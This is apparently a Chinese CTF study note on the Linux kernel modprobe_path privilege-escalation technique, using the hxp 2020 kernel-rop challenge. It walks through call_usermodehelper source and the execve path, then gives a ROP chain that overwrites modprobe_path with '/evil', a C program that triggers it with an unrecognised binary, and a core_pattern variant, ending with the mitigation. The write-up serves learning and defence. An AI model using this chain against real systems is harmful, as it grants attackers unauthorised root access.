0005-TIPS-2020-hxp-kernel-rop : bypass-KPTI-with-modprobe

call_usermodehelper 是一个大的概念
modprobe 是 call_usermodehelper 利用方式的一种
++++++++++++++++++++++++++++++++++++++++++++++++++
call_usermodehelper = call_user-mode-helper
modprobe = mod-probe = module-probe
modprobe_path = mod-probe_path = module-probe_path

call_usermodehelper api(该利用方式中-大的概念)

call_usermodehelper api可以在内核空间调用用户空间的应用程序,执行用户空间的命令。

在linux-5.9内核中,call_usermodehelper实现如下

/**
 * call_usermodehelper() - prepare and start a usermode application
 * @path: path to usermode executable
 * @argv: arg vector for process
 * @envp: environment for process
 * @wait: wait for the application to finish and return status.
 *        when UMH_NO_WAIT don't wait at all, but you get no useful error back
 *        when the program couldn't be exec'ed. This makes it safe to call
 *        from interrupt context.
 *
 * This function is the equivalent to use call_usermodehelper_setup() and
 * call_usermodehelper_exec().
 */
int call_usermodehelper(const char *path, char **argv, char **envp, int wait)
{
	struct subprocess_info *info;
	gfp_t gfp_mask = (wait == UMH_NO_WAIT) ? GFP_ATOMIC : GFP_KERNEL;

	info = call_usermodehelper_setup(path, argv, envp, gfp_mask,
					 NULL, NULL, NULL);
	if (info == NULL)
		return -ENOMEM;

	return call_usermodehelper_exec(info, wait);
}
EXPORT_SYMBOL(call_usermodehelper);
  • call_usermodehelper_setup设置要执行的用户空间的程序、环境变量、handler(包含初始化函数init和清理函数cleanup)等信息,相关信息填充到subprocess_info结构体中
  • call_usermodehelper_exec执行设置的用户空间程序

内核中有很多这样的需求

例子1:实现关机的接口:__orderly_poweroff,该接口的主要作用是:在内核空间,调用用户空间的应用程序“/sbin/poweroff”,达到关机的目的。通过调该接口,可以在内核中实现“长按关机”操作

char poweroff_cmd[POWEROFF_CMD_PATH_LEN] = "/sbin/poweroff";
static int __orderly_poweroff(bool force)
{
	int ret;

	ret = run_cmd(poweroff_cmd);  // <-------------------------------------------

	if (ret && force) {
		pr_warn("Failed to start orderly shutdown: forcing the issue\n");
		emergency_sync();
		kernel_power_off();
	}

	return ret;
}

static int run_cmd(const char *cmd)
{
	char **argv;
	static char *envp[] = {
		"HOME=/",
		"PATH=/sbin:/bin:/usr/sbin:/usr/bin",
		NULL
	};
	int ret;
	argv = argv_split(GFP_KERNEL, cmd, NULL);
	if (argv) {
		ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); // <-------------------------------------------
		argv_free(argv);
	} else {
		ret = -ENOMEM;
	}

	return ret;
}

例子2:与关机类似的重启命令

static const char reboot_cmd[] = "/sbin/reboot";

static int __orderly_reboot(void)
{
	int ret;

	ret = run_cmd(reboot_cmd);		// 内部是对 call_usermodehelper 的封装

	if (ret) {
		pr_warn("Failed to start orderly reboot: forcing the issue\n");
		emergency_sync();
		kernel_restart(NULL);
	}

	return ret;
}

例子3:本章有关-----模块加载命令/sbin/modprobe,该命令被封装到call_modprobe函数中

char modprobe_path[KMOD_PATH_LEN] = "/sbin/modprobe";

static int call_modprobe(char *module_name, int wait)
{
	struct subprocess_info *info;
	static char *envp[] = {
		"HOME=/",
		"TERM=linux",
		"PATH=/sbin:/usr/sbin:/bin:/usr/bin",
		NULL
	};
	[..]
	argv[0] = modprobe_path;
	argv[1] = "-q";
	argv[2] = "--";
	argv[3] = module_name;	/* check free_modprobe_argv() */
	argv[4] = NULL;

	info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
					 NULL, free_modprobe_argv, NULL);
	[..]
	return call_usermodehelper_exec(info, wait | UMH_KILLABLE);
	[...]
}

call_modprobe 与 /sbin/modprobe

在用户态查看/sbin/modprobe的帮助文档,可以确定该命令是与处理module有关

showme@showme:linux-5.9$ /sbin/modprobe --help
Usage:
	modprobe [options] [-i] [-b] modulename
	modprobe [options] -a [-i] [-b] modulename [modulename...]
	modprobe [options] -r [-i] modulename
	modprobe [options] -r -a [-i] modulename [modulename...]
	modprobe [options] -c
	modprobe [options] --dump-modversions filename
Management Options:
	-a, --all                   Consider every non-argument to
	                            be a module name to be inserted
	                            or removed (-r)
	-r, --remove                Remove modules instead of inserting
	    --remove-dependencies   Also remove modules depending on it
[...]

在内核中将/sbin/modprobe字符串存储在全局变量modprobe_path中,在call_modprobe函数中使用
同时在内核代码中,call_modprobe仅被封装在kernel/kmod.c/__request_module()函数中
且又进行了一层封装

int __request_module(bool wait, const char *name, ...);
#define request_module(mod...) __request_module(true, mod)
#define request_module_nowait(mod...) __request_module(false, mod)

大体浏览内核中的相关代码,可以看出request_module是用来操作模块的

drivers/crypto/qat/qat_c3xxxvf/adf_drv.c:
  234  {
  235: 	request_module("intel_qat");
  236  

sound/core/sound.c:
  59  		return;
  60: 	request_module("snd-card-%i", card);
  61  }

drivers/parport/share.c:
  213  	 */
  214: 	request_module("parport_lowlevel");
  215  }

execve 与 call_modprobe 的关系(其中一个call_usermodehelper利用方式)

当通过execve执行一个二进制文件时,且内核法识别二进制文件的魔术字,就会调用call_modprobe加载可以处理该特殊二进制的模块。

execve中与call_modprobe相关的分支流程图

  │
  ▼
┌──────┐ filename, argv, envp                         ┌─────────┐
│execve├─────────────────────────────────────────────►│do_execve│
└──────┘                                              └────┬────┘
                                                           │
   fd, filename, argv, envp, flags                         │
  ┌────────────────────────────────────────────────────────┘
  ▼
┌──────────────────┐ bprm, fd, filename, flags      ┌───────────┐
│do_execveat_common├───────────────────────────────►│bprm_execve│
└──────────────────┘                                └─────┬─────┘
                                                          │
    bprm                                                  │
  ┌───────────────────────────────────────────────────────┘
  ▼
┌───────────┐ bprm                        ┌─────────────────────┐
│exec_binprm├────────────────────────────►│search_binary_handler│
└───────────┘                             └───────────┬─────────┘
                                                      │
   "binfmt-$04x", *(ushort*)(bprm->buf+2)             │
  ┌───────────────────────────────────────────────────┘
  ▼
┌──────────────┐ true, mod...                  ┌────────────────┐
│request_module├──────────────────────────────►│__request_module│
└──────────────┘                               └───────┬────────┘
                                                       │
   module_name, wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC   │
  ┌────────────────────────────────────────────────────┘
  ▼
┌─────────────┐
│call_modprobe│
└─┬───────────┘
  │
  │ info, wait | UMH_KILLABLE
  ▼
┌────────────────────────┐
│call_usermodehelper_exec│
└────────────────────────┘

大体含义(细节可以参考这里,细节1,细节2):

  • 对执行文件,执行环境进行封装
  • 内核寻找合适的二进制加载器(search_binary_handler
  • 如果无法识别二进制文件的魔术字,就读取二进制文件的前 4 个字节(假设是AABBCCDD),并尝试加载适当模块
  • 该模块名称将被拼凑为binfmt-AABBCCDD,交由request_module加载(call_modprobe->call_usermodehelper_exec),此时便在内核态执行了/sbin/modprobe
  • 注意: 二进制文件的前 4 个字是可打印字符,才会尝试加载适当的模块

利用方式

  • 找到内核全局变量modprobe_path的地址(该变量中存储的内容为/sbin/modprobe
  • 将提权文件路径写入到modprobe_path地址处(就是)
  • 创建一个无法识别的二进制文件,并执行,使之触发execve->search_binary_handler->request_module->call_modprobe->call_usermodehelper_exec(执行modprobe_path保存路径的提权文件)
  • 这样提供的提权文件就能以root权限执行了

对于本题,通过modprobe,也算间接的绕过了KPTI

准备好提权文件(新modprobe_path)

重写modprobe_path

获取modprobe_path的地址,并重写为提权文件的路径,假设这里提权文件路径为/evil

/ # cat /proc/sys/kernel/modprobe 
/sbin/modprobe

/ # cat /proc/kallsyms | grep "modprobe_path"
ffffffff82061820 D modprobe_path

pwndbg> x/s 0xffffffff82061820
0xffffffff82061820:	"/sbin/modprobe"
pwndbg> x/16gx 0xffffffff82061820
0xffffffff82061820:	0x6f6d2f6e6962732f	0x000065626f727064

rop如下

payload[cookie_off++] = cookie;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = pop_rax_ret;
payload[cookie_off++] = 0x6c6976652f; // rax = /evil 这里是字符串硬编码,也可以是/tmp/x  短一点,直接一次寄存器赋值搞定
payload[cookie_off++] = pop_rdi_ret;
payload[cookie_off++] = modprobe_path;
payload[cookie_off++] = write_rax_into_rdi_ret; // overwrite modprobe_path
payload[cookie_off++] = swapgs_pop1_ret;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = iretq;
payload[cookie_off++] = user_rip;
payload[cookie_off++] = user_cs;
payload[cookie_off++] = user_rflags;
payload[cookie_off++] = user_sp;
payload[cookie_off++] = user_ss;

在exp执行后,程序段错误,毕竟没有解决KPTI,但是modprobe_path修改了

准备无法加载的二进制文件

手动创建

echo -ne '\\xff\\xff\\xff\\xff' > /tmp/fl
chmod +x /tmp/fl

或者是下面的代码

#include 
#include 
#include 
#include 

int main() {
    char *dummy_file = "/tmp/dummy";
    puts("[*] creating dummy file");
    FILE *fptr = fopen(dummy_file, "w");
    if (!fptr) {
        puts("[-] failed to open dummy file");
        exit(-1);
    }
    if (fputs("\x37\x13\x42\x42", fptr) == EOF) {
        puts("[-] failed to write dummy file");
        exit(-1);
    }
    fclose(fptr);

    system("chmod 777 /tmp/dummy");

    puts("[*] triggering modprobe by executing dummy file");
    execv(dummy_file, NULL);
    puts("[+] now run /tmp/evilsu to get root shell");

    return 0;
}

执行无法加载的二进制文件

触发execve->search_binary_handler->request_module->call_modprobe->call_usermodehelper_exec(执行modprobe_path保存路径的提权文件)

类似modprobe的其他call_usermodehelper - TODO

core_pattern

在核心转储开启的时候有用
通过程序崩溃触发,一般通过下面内容触发

int main() {
    char *p = 0;
    *p = 1;
    return 0;
}

缓解措施

CONFIG_STATIC_USERMODEHELPER被设置为 true迫使用户模式辅助程序通过单一的二进制文件调用,并且 CONFIG_STATIC_USERMODEHELPER_PATH 被设置为空字符串,即没有 modprobe_path 技巧。

参考

https://0x9k.club/posts/uncategorized/2018-05-02-new_reliable_android_kernel_root_exploit.html
https://sam4k.com/like-techniques-modprobe_path/
https://0x434b.dev/dabbling-with-linux-kernel-exploitation-ctf-challenges-to-learn-the-ropes/#version-3-probing-the-mods

https://github.com/tych0/huldufolk
https://github.com/smallkirby/kernelpwn/blob/master/technique/modprobe_path.md

其他用到modprobe的题目
https://www.anquanke.com/post/id/236126#h2-1

https://www.jianshu.com/p/a2259cd3e79e
【linux内核漏洞利用】call_usermodehelper提权路径变量总结

你可能感兴趣的:(pwn_cve_kernel,kernel,pwn)